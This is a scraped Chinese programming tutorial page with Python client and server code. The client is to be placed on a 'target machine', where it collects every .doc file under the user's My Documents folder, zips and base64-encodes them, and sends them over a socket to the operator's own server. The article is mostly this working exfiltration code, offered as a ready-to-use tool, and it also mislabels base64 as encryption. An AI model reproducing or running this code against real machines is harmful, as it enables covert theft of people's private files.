検索
ホームページバックエンド開発Python チュートリアルpython实现获取客户机上指定文件并传输到服务器的方法

python实现获取客户机上指定文件并传输到服务器的方法

Jun 10, 2016 pm 03:17 PM
python伝染 ; 感染ファイルを指定してください方法サーバ得る

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

复制代码 代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #获取加密数据
                encode_data = cs.recv(BUF_SIZE)
                #把数据写到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2进制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打开zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #创建一个文件夹来存放获取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后续处理 删除临时文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

客户端程序:

复制代码 代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\我的文档"
    extName = '.doc'
    #遍历搜索我的文档的doc类型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件处理错误: " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #压缩成zip文件
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2进制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后续处理 删除中间文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出错啦:' % e
        cs.close()
if __name__=='__main__':
    main()

希望本文所述对大家的Python程序设计有所帮助。

声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
Pythonを使用した科学コンピューティングでアレイはどのように使用されていますか?Pythonを使用した科学コンピューティングでアレイはどのように使用されていますか?Apr 25, 2025 am 12:28 AM

Arraysinpython、特にvianumpy、arecrucialinscientificComputing fortheirefficienty andversitility.1)彼らは、fornumericaloperations、data analysis、andmachinelearning.2)numpy'simplementation incensuresfasteroperationsthanpasteroperations.3)arayableminablecickick

同じシステムで異なるPythonバージョンをどのように処理しますか?同じシステムで異なるPythonバージョンをどのように処理しますか?Apr 25, 2025 am 12:24 AM

Pyenv、Venv、およびAnacondaを使用して、さまざまなPythonバージョンを管理できます。 1)Pyenvを使用して、複数のPythonバージョンを管理します。Pyenvをインストールし、グローバルバージョンとローカルバージョンを設定します。 2)VENVを使用して仮想環境を作成して、プロジェクトの依存関係を分離します。 3)Anacondaを使用して、データサイエンスプロジェクトでPythonバージョンを管理します。 4)システムレベルのタスク用にシステムPythonを保持します。これらのツールと戦略を通じて、Pythonのさまざまなバージョンを効果的に管理して、プロジェクトのスムーズな実行を確保できます。

標準のPythonアレイでnumpyアレイを使用することの利点は何ですか?標準のPythonアレイでnumpyアレイを使用することの利点は何ですか?Apr 25, 2025 am 12:21 AM

numpyarrayshaveveraladvantages-averstandardpythonarrays:1)thealmuchfasterduetocベースのインプレンテーション、2)アレモレメモリ効率、特にlargedatasets、および3)それらは、拡散化された、構造化された形成術科療法、

アレイの均質な性質はパフォーマンスにどのように影響しますか?アレイの均質な性質はパフォーマンスにどのように影響しますか?Apr 25, 2025 am 12:13 AM

パフォーマンスに対する配列の均一性の影響は二重です。1)均一性により、コンパイラはメモリアクセスを最適化し、パフォーマンスを改善できます。 2)しかし、タイプの多様性を制限し、それが非効率につながる可能性があります。要するに、適切なデータ構造を選択することが重要です。

実行可能なPythonスクリプトを作成するためのベストプラクティスは何ですか?実行可能なPythonスクリプトを作成するためのベストプラクティスは何ですか?Apr 25, 2025 am 12:11 AM

craftexecutablepythonscripts、次のようになります

numpyアレイは、アレイモジュールを使用して作成された配列とどのように異なりますか?numpyアレイは、アレイモジュールを使用して作成された配列とどのように異なりますか?Apr 24, 2025 pm 03:53 PM

numpyarraysarasarebetterfornumeroperations andmulti-dimensionaldata、whilethearraymoduleissuitable forbasic、1)numpyexcelsinperformance and forlargedatasentassandcomplexoperations.2)thearraymuremememory-effictientivearientfa

Numpyアレイの使用は、Pythonで配列モジュール配列の使用と比較してどのように比較されますか?Numpyアレイの使用は、Pythonで配列モジュール配列の使用と比較してどのように比較されますか?Apr 24, 2025 pm 03:49 PM

NumPyArraySareBetterforHeavyNumericalComputing、whilethearrayarayismoreSuitableformemory-constrainedprojectswithsimpledatatypes.1)numpyarraysofferarays andatiledance andpeperancedatasandatassandcomplexoperations.2)thearraymoduleisuleiseightweightandmemememe-ef

CTypesモジュールは、Pythonの配列にどのように関連していますか?CTypesモジュールは、Pythonの配列にどのように関連していますか?Apr 24, 2025 pm 03:45 PM

ctypesallowsinging andmanipulatingc-stylearraysinpython.1)usectypestointerfacewithclibrariesforperformance.2)createc-stylearraysfornumericalcomputations.3)passarraystocfunctions foreffientientoperations.how、how、becuutiousmorymanagemation、performanceo

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

SublimeText3 英語版

SublimeText3 英語版

推奨: Win バージョン、コードプロンプトをサポート!

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

強力な PHP 統合開発環境

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター